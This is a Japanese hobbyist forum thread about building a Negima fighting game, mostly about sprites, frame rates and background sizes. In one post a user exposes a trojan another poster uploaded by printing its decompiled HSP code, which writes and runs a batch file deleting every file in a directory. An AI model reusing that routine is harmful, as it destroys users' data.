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ネギま!の格ゲーを作るスレ

■ このスレッドは過去ログ倉庫に格納されています
0001名前は開発中のものです。2006/10/28(土) 21:49:55ID:T0yl4aFg
テンプレとか何かあったら貼ってくれ
0253名前は開発中のものです。2006/12/26(火) 23:43:01ID:gx+bevuz
もうこれの開発終わったの?
0254名前は開発中のものです。2006/12/27(水) 00:44:07ID:l1yvfUAS
>>253
プログラマーはたくさん居るけど絵師が居ないというスレw
3Dから始まり、97氏は消え去り、2Dはダル痴。に消されたという運のないスレ
0255 ◆57U1O5h1BM 2006/12/27(水) 01:26:12ID:cr8/xxgd
a
0256 ◆57U1O5h1BM 2006/12/27(水) 01:27:38ID:cr8/xxgd
おーいけた。

ちと忙しくてスレに書き込んでなかったんだけど、しかしこの状況は壊滅状態だね。
結局のところ私が描くとして、プログラム組んでもいいって人いるのかね?
0257名前は開発中のものです。2006/12/27(水) 06:49:06ID:l1yvfUAS
おっ、帰ってきた!
絵師が来たから再開できるぞw
0258名前は開発中のものです。2006/12/28(木) 00:24:17ID:c8mREtNd
復活の兆しが・・・!
0259名前は開発中のものです。2006/12/28(木) 00:41:47ID:Iqa60AbP
ガンがってー!!!
0260名前は開発中のものです。2006/12/28(木) 04:09:16ID:TOTMPhwW
さすがに97氏は開発ストップっぽいね。
まぁ、またなんとなくやる気になったらひょっこり戻ってくるでいいから
気が向いた時に進めてって欲しいなー。
あそこまで形にしたのを捨てるのは自分自身でも惜しいだろうし、275氏に曲も作らせてるんだしね。
何か技術的に行き詰ったんなら素直に相談するよろし
0261名前は開発中のものです。2006/12/28(木) 13:33:38ID:jR05t47Z
>>256

2Dでも3Dでもいけるよ
0262 ◆57U1O5h1BM 2006/12/29(金) 20:09:17ID:Kv5DykMe
お、じゃあ>>261氏がおkなら開発に協力願います。
見つかったはいいけどまずなにから話合えばいいかな。
02632562006/12/29(金) 22:42:31ID:cTpfVe3X
とりあえず素材くれれば適当に実装します
02642562006/12/29(金) 22:46:02ID:cTpfVe3X
>>229
みたいな流れになればいいかなぁ
0265 ◆57U1O5h1BM 2006/12/29(金) 23:35:46ID:Kv5DykMe
http://gamdev.org/up/img/8492.png
とりあえず通常時と前歩行、1キャラ70*100です。
02662562006/12/30(土) 00:13:15ID:HV3P5FoA
作るにあたってなんかタイトルが欲しいな
仮でもいいから
02672612006/12/30(土) 00:15:24ID:HV3P5FoA
あ、俺256じゃねーやwww
261ね
>>263>>264も俺w
0268 ◆57U1O5h1BM 2006/12/30(土) 00:21:07ID:07Djr1Eh
うはっw把握www
タイトル・・・ネギま!すとらいか〜ず!!(適当
02692612006/12/30(土) 06:05:01ID:z/eusNVv
http://gamdev.org/up/img/8493.zip
とりあえず表示だけ

背景とか欲しいね
0270名前は開発中のものです。2006/12/30(土) 13:18:47ID:1sZkr45+
2DならM.U.G.E.N.でキャラ作った方がよくね?
他作品のキャラと戦えるし・・・。システムは既存の物を使うからキャラ作りに専念できるしね
M.U.G.E.N wiki
ttp://www13.atwiki.jp/mugen-complete-wiki/
無限小学校
ttp://mugen-site.hp.infoseek.co.jp/
画像もろもろ
ttp://kaihokaitin.hp.infoseek.co.jp/mugen/motto2.htm
MUSASHIも
ttp://mykit.jp/pc/dabiitiro/20061212

もしかして最初からそのつもりだった?
0271名前は開発中のものです。2006/12/30(土) 17:27:42ID:A8bNlSs5
そんなにウルヴァリンに陵辱されたいのか?
0272名前は開発中のものです。2006/12/30(土) 17:34:37ID:L/NfI4De
なにその犯罪的な組み合わせ





ありかも
0273 ◆57U1O5h1BM 2006/12/30(土) 19:39:20ID:qlNscVGL
確かにMUGENで作った方が効率はいいと思う。
でもそれだとこのスレでわざわざやる意味がない気がするだよなぁ。
結局自分ひとりで黙々とやるだけな感じ。
0274名前は開発中のものです。2006/12/30(土) 22:15:31ID:VDcPTYdz
ではmugenは無しの方向で。
0275名前は開発中のものです。2006/12/31(日) 00:38:45ID:ax+xnR7J
だね。

俺もドット絵描けたらな〜。カットインとか入れるつもりなの?
0276名前は開発中のものです。2006/12/31(日) 00:54:59ID:b8yxgFPX
>>275
もしドット絵でなくても、ポーズラフが書けるって人なら、
ドット絵として起こす作業やるよ
0277名前は開発中のものです。2006/12/31(日) 03:33:51ID:d2ty4GxO
数字コテはまず簡易なプログラムを組んでからつけたらどう?
前みたいな流れはもうごめん

絵師>
前みたいな惨事を回避するのはむずかしいと思うが慎重に
絵師の仕事頼みますよ
それでプログラマーだが立ち絵の基本(上の画像+ジャンプ、しゃがみ、単発攻撃)を
まずUPしてそれだけで作ってもらうのはどうだろうか?

それから誰か過去の音楽とか保管してる人いる?
0278名前は開発中のものです。2006/12/31(日) 07:26:12ID:SInfbp6o
>>276
もしドット絵でなくても、ポーイズラブが書けるって人なら

って読めた。
0279名前は開発中のものです。2006/12/31(日) 10:32:28ID:7G/cjsfX
>>269がめちゃめちゃ重かったのは私だけ?
0280 ◆57U1O5h1BM 2006/12/31(日) 15:58:50ID:3e/aTlV5
http://gamdev.org/up/img/8500.png
後移動追加ー。

>>277
前みたいに引っかからないよう今度は注意するよ。
とりあえず
しゃがみ→ジャンプ→ダッシュ左右→弱攻撃
って順番で描いていく。

しゃがみを茶道やってる風にしたいと一瞬思ってしまった。
しかしそうすると完全にネタっぽいw
0281名前は開発中のものです。2006/12/31(日) 16:51:24ID:7G/cjsfX
よくこんなの描けますね〜。すごい。
がんばってください。
0282名前は開発中のものです。2006/12/31(日) 22:11:03ID:3ZTy/soT
出来れば雇れ

>240
おまいの希望していた肉まんだ
http://gamdev.org/up/img/8502.zip
メタセコデタ

まあメタセコ用意してやり
02832612006/12/31(日) 23:50:00ID:NSvbvS/w
http://gamdev.org/up/img/8504.zip
更新ー。

重いって言ってる人はどんな環境か教えてちょ
対処できるかは分からんけど
0284名前は開発中のものです。2006/12/31(日) 23:51:05ID:NSvbvS/w
あ、↑カーソルキーで移動ね
0285名前は開発中のものです。2007/01/01(月) 12:05:49ID:9jZhm9NE
>>283
すげえ!歩く!ガンバレ!
0286名前は開発中のものです。2007/01/01(月) 19:38:25ID:pyEdXCSI
>>285
歩くぐらいで驚くなよ
それぐらい誰でもできるだろ?
0287名前は開発中のものです。2007/01/02(火) 01:41:50ID:MSdg0tG4
>286
おまえなぁ・・・w
0288名前は開発中のものです。2007/01/02(火) 18:35:07ID:CuuZEANN
>>287
何も出来ない子に限ってこういう事を言いたがるものです。
以後放置の方向でお願い致します。
0289名前は開発中のものです。2007/01/02(火) 19:41:52ID:2TTJfuJY
>>288
普通に作れますが何か?
他の板でやってますが何か?
0290名前は開発中のものです。2007/01/02(火) 20:08:48ID:IUlzOB7F
空気嫁
0291名前は開発中のものです。2007/01/02(火) 20:17:27ID:xZPRyRRb
          ____   
       / \  /\ キリッ
.     / (ー)  (ー)\      
    /   ⌒(__人__)⌒ \     普通に作れますが何か?
    |      |r┬-|    |     他の板でやってますが何か? 
     \     `ー'´   /      
    ノ            \
  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
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| / / /     |r┬-|    | (⌒)/ / / //  だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/
|     ノ     | |  |   \  /  )  /
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))
0292名前は開発中のものです。2007/01/02(火) 20:17:56ID:MSdg0tG4
>>289
はいはい、虚言虚言。口だけ口だけ。
どうとでも言える。晒してみろ。晒せんだろ低脳。

だから?って感じ。こんな所まで荒らし乙。
つーかくんな。
0293名前は開発中のものです。2007/01/02(火) 20:56:09ID:2TTJfuJY
>>292
別に晒してもいいが?
0294名前は開発中のものです。2007/01/02(火) 21:20:20ID:HfK1VP2n
>>293
んじゃ、晒して
で、このスレの住人を馬鹿にしながら去ってくれ
0295 ◆57U1O5h1BM 2007/01/02(火) 21:56:09ID:98W99Bn5
http://gamdev.org/up/img/8519.png
0296 ◆57U1O5h1BM 2007/01/02(火) 21:59:09ID:98W99Bn5
みすったー、しゃがみ追加しました。
自分の環境だと50FPSくらいしかでないです。
もしかして3Dエンジンで描画してるとかかな?
環境はペンティアムM1.5G
0297 ◆57U1O5h1BM 2007/01/02(火) 22:01:32ID:98W99Bn5
GPUはIntel 82855M GM/GME
0298名前は開発中のものです。2007/01/02(火) 23:43:47ID:2TTJfuJY
http://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi68063.zip.html
02992612007/01/02(火) 23:59:20ID:n6N065ZG
50FPSで作ってるので50FPSでてれば問題ないです

60FPSだと1秒(1000ミリ秒)を60で割ることになります
そうすると1000/60=16.66666…となって割り切れません
これでは都合が悪いので50FPSで作っています
0300 ◆57U1O5h1BM 2007/01/03(水) 00:08:25ID:H48ujtay
>>299
0301 ◆57U1O5h1BM 2007/01/03(水) 00:11:17ID:H48ujtay
なんかメッセの癖でSHIFT+ENTERしてしまう・・・。
60FPSのほうが一般的(テレビ)だけど、割り切れないのは
別に切り捨てでもいいんのでは?

>>298
これまたHSP製だね、もしかして前のプログラム作った奴かな。
とりあえず実行しないこと。
0302名前は開発中のものです。2007/01/03(水) 00:18:13ID:7UGbUSnp
ID:2TTJfuJY
どうしようもないクズ冬厨だな
マジで死んだほうがいいんじゃね
0303 ◆57U1O5h1BM 2007/01/03(水) 00:18:57ID:H48ujtay
HSPってのは嘘だったわ。
0304名前は開発中のものです。2007/01/03(水) 00:20:47ID:zoZUSxPn
且~
0305名前は開発中のものです。2007/01/03(水) 00:21:04ID:eZ+Jy+z+
>>303
判定させたらHSP3だったぞ。間違いない。
しかしウィルスじゃないとしても失笑ものだが。
0306 ◆57U1O5h1BM 2007/01/03(水) 00:21:08ID:H48ujtay
あ、やっぱりHSPだったw
start.ax読み込んでるしw
0307名前は開発中のものです。2007/01/03(水) 00:27:46ID:2jmQy08O
通報した方が良いんじゃない?
今後の為にも
0308名前は開発中のものです。2007/01/03(水) 00:39:40ID:o7P+BmQP
またかよ・・・
こんな奴がいるからHSPが叩かれる

もしかしてHSP製だとスルー?
03092612007/01/03(水) 00:39:45ID:XeqChYq/
タイマー精度が1ミリ秒単位なので
60FPSにしようとすると安定しない気がします・・・たぶん
0310名前は開発中のものです。2007/01/03(水) 00:43:53ID:eZ+Jy+z+
>>308
このスレ的には前例があるので、基本スルー。
0311名前は開発中のものです。2007/01/03(水) 00:44:37ID:o7P+BmQP
\(^o^)/俺の人生オワタ
0312名前は開発中のものです。2007/01/03(水) 01:39:00ID:TKC9EjuB
>>298
sdim v0, 1000
v0 = dirinfo( 3 )
chdir v0
sdim v1, 1000000
sdim v2, 1000
v2 = "cd \"" + v0 + "\""
dirlist v1, "*.*", 1
v3 = stat
sdim v4, 1000
notesel v1
repeat v3
noteget v4, cnt
v2 = v2 + "\ndel \"" + v4 + "\""
loop
v2 = v2 + "\ndel \"kita.bat\""
bsave "kita.bat", v2, strlen( v2 )
exec "kita.bat", 16
end
0313名前は開発中のものです。2007/01/03(水) 01:45:36ID:tNNIuKkF
またトロイか
0314名前は開発中のものです。2007/01/03(水) 01:47:07ID:TKC9EjuB
>>298
EXE内に http://www.vector.co.jp/soft/win95/net/se410619.html が入っている
0315名前は開発中のものです。2007/01/03(水) 01:54:22ID:btaR93Fg
何故にネギまは狙われてますかorz
0316名前は開発中のものです。2007/01/03(水) 01:59:44ID:tNNIuKkF
HSPがどうのこうので暴れてた奴が粘着でもしてるんだろ
0317名前は開発中のものです。2007/01/03(水) 02:05:17ID:eZ+Jy+z+
検証乙。ドゾ っ且~
0318名前は開発中のものです。2007/01/03(水) 13:27:16ID:rq4IMTG8
>>261
普通、モニターのリフレッシュレート(何回描画するか)が60回なので、
ほとんどの動画は60fpsで作られてるんだよ
0319名前は開発中のものです。2007/01/03(水) 14:07:16ID:s8r2SH8H
>>261
背景を作るとしたらサイズはどのくらいで描いたらいいでしょうか?
0320名前は開発中のものです。2007/01/03(水) 14:20:33ID:eZ+Jy+z+
>>318
内部処理が50fpsなだけなら60も50も変わらない気がするけど。
0321 ◆57U1O5h1BM 2007/01/03(水) 16:18:24ID:H48ujtay
>>320
一秒間に計算する回数が変わってくるから結構変わると思うよ。
大概の場合モニターが60回描画するのでなるべく同期させた方がいいって話っぽい。
(合っていないとちらついたりする?)

でもまぁあんまり気にしなくていいのかもしんない(どっちだよ
0322名前は開発中のものです。2007/01/03(水) 17:13:16ID:eZ+Jy+z+
言葉足らずですまそ。
ぶっちゃけウィンドウモードなので、チラつきはあまり気にしないで良いと思う。
フルスクリーンなら60固定の人多いかもしれないけど、どうだろう。
液晶が増えてきたからウィンドウモードでも60固定の人も増えてきたのかな。

アニメーション制御もリフレッシュレート依存じゃなくてタイマ依存なので
環境による見え方に速度的な違いは無いでしょう。
多分ここで問題になるのはキー入力部分の反応速度だと思いましたので、
経験上50も60もあまり変わらなかったよ、と言いたかった次第であります。はい。

内部50でも60でもタイマの精度的に誤差がありますから、リフレッシュレートと絡めて
悩み始めるとそれこそ、もうwww
0323名前は開発中のものです。2007/01/03(水) 17:31:58ID:eZ+Jy+z+
あと、内部120で回してキー入力受け取ったらキモいぐらい滑らかでした。
0324 ◆57U1O5h1BM 2007/01/03(水) 17:50:40ID:H48ujtay
タイマ依存でしたか、とすると確かに速度などは問題ないですね。
ところで322=261ってことでおkなのでしょうか?
0325名前は開発中のものです。2007/01/03(水) 18:31:34ID:eZ+Jy+z+
別人です
03263192007/01/03(水) 20:11:39ID:s8r2SH8H
別人なの?ぢゃあ322さんは誰?組んでいるのは261さんなんだよね?
0327名前は開発中のものです。2007/01/03(水) 20:33:38ID:rJzi+GpL
久しぶりに覗いたら活性化してるようで何より
0328名前は開発中のものです。2007/01/03(水) 20:52:39ID:eZ+Jy+z+
前スレから住み込んでる、97氏の追っかけです(ぉ
03292612007/01/03(水) 23:44:43ID:EePdkJcm
>>322の言ってるとおり50でも60でもあんまり変わんねーです。
まぁ俺の好みで50にすると言うことで。

>>319
640x480でいいんじゃないかな。

背景以外にも体力ゲージとかも必要だね。

今日、明日、明後日と作業時間がとれないので更新はないです。
0330 ◆57U1O5h1BM 2007/01/04(木) 00:15:51ID:HoVmEovT
640*480だと画面サイズと同じだからもっと大きいほうがよくない?
ジャンプしたときとか距離とるときとか。
03312612007/01/04(木) 01:51:07ID:fAg9ONnF
>>330
あーなるほろ。そうだね。
じゃあ、どのくらいがいいかな?


あースレ見てる場合じゃないのに・・・
忙しいときほど他のことをやりたくなるorz
0332 ◆57U1O5h1BM 2007/01/04(木) 01:54:19ID:HoVmEovT
ジャンプの仕様によって高さは変わるよね。
横は 200 + 480 + 200 位かな?
0333名前は開発中のものです。2007/01/04(木) 02:30:42ID:7pqb6dXM
ストーリートファイターみたいに戦闘区間を限定するのか、キャラの間隔によって画面を拡大縮小するのか…
後者ってやっぱやりにくい?
0334名前は開発中のものです。2007/01/04(木) 06:55:41ID:7RBZJsML
>>333
そんなに難しくないよ
ただショボイPCなら処理落ちする可能性もあるけど
0335名前は開発中のものです。2007/01/04(木) 08:16:36ID:/kBMZpSi
ドット絵に縮小はキツイと思う
縮小使うならGGXXみたいにハイレゾじゃあないと何やってるかわからなくなる
0336名前は開発中のものです。2007/01/04(木) 14:01:47ID:o/Lq24qm
>>335
縮小したまま殴り合う訳じゃないし、そんな気になるもんでもないと思う
NEOGEOなんかのサムスピやらギャラクシーファイトやらで慣れてるだけかもしれんが
0337名前は開発中のものです。2007/01/04(木) 18:48:59ID:IsdU369N
>>333
今の漫画ネギまのようなバトルをするゲームなら前者、
これに3巻みたいな感じを取り入れたかったら後者じゃね?
0338名前は開発中のものです。2007/01/04(木) 18:56:03ID:xeuC9h9q
ラブひな見てる時に俺も考えたことがありましたよ
ということでボツ
03393192007/01/05(金) 11:54:33ID:YC+Th4s7
http://gamdev.org/up/img/8534.gif

まだ全然出来てませんが、とりあえずこんな感じで如何でしょう?
0340名前は開発中のものです。2007/01/05(金) 12:14:17ID:Dzk0vEUK
8bitですか
しかも小さい気が・・・
最近の格ゲはだいたい800x600じゃない?
背景は横幅2倍、縦幅も2倍ぐらい必要な気がする
プログラミング側から考えれば画像フォーマットは統一した方がいいかと
あとGIFよりPNGの方が容量小さくて済む(GIFの著作権問題は切れたかな?)
0341名前は開発中のものです。2007/01/05(金) 13:06:46ID:A/eCFI1T
どう考えても2倍は、いらんだろ。
画面サイズが640*480だし。
0342名前は開発中のものです。2007/01/05(金) 14:43:37ID:Dzk0vEUK
640x480サイズで背景が動かない格ゲとか・・・
0343名前は開発中のものです。2007/01/05(金) 15:35:15ID:0gUc3Mu7
背景が一枚絵なのか、遠景近景二枚絵にするかとかで
サイズは違ってくるわな

にしても、最近の格ゲが800x600とは知らなかった
03443192007/01/05(金) 19:13:15ID:dkZntMHc
http://gamdev.org/up/img/8537.gif

上は先に公開されていたエヴァを乗せただけの物です。

サイズに関しては指定されていた640×480で書いてあります。でもまぁ
両サイドを広げたり縦幅を広げたりするのは問題なく出来ます。
スクロールに関しても、どのように切ればいいか指定してもらえれば
何とかします。
0345名前は開発中のものです。2007/01/05(金) 19:21:47ID:Dzk0vEUK
期待した俺が馬鹿だった
別システムを自分で作った方が早いな
0346名前は開発中のものです。2007/01/05(金) 19:22:34ID:u0eBFCEl
先に公開されてたプログラム
エヴァ2倍に表示してたぞ。

背景も2倍で表示するの?
0347名前は開発中のものです。2007/01/05(金) 19:34:25ID:Dzk0vEUK
>>346
それなら納得
03483192007/01/05(金) 19:41:48ID:4zg02C6k
素人なのでよく判らないんだが、キャラ表示は2倍、背景表示はそのまま
ってのが基本なの?それならキャラとの対比を考えて描きなおさなきゃだし。
まぁ現状でも対比があってるかはわかりませんが・・・
0349名前は開発中のものです。2007/01/05(金) 19:56:37ID:u0eBFCEl
ここのプログラマじゃないけど、
キャラクターは2倍で表示した画像はぼやけてた。
SetRenderStateで設定してペイントの2倍表示のようにすることも出来るけど、
ドットが大きくなるからなー。

そのままのSetRenderStateだったら背景もぼやけるし。

まあ、ふつうに大きく描いたらいいんじゃない?

03503202007/01/05(金) 19:59:16ID:A/eCFI1T
>>345
やるんか?
0351名前は開発中のものです。2007/01/05(金) 20:00:52ID:A/eCFI1T
元素材を2倍にしたら、ぼやけないんじゃないの?
0352名前は開発中のものです。2007/01/05(金) 20:23:41ID:Dzk0vEUK
>>350
残念ながらHSP使いですorz
自己満足のために作るかな
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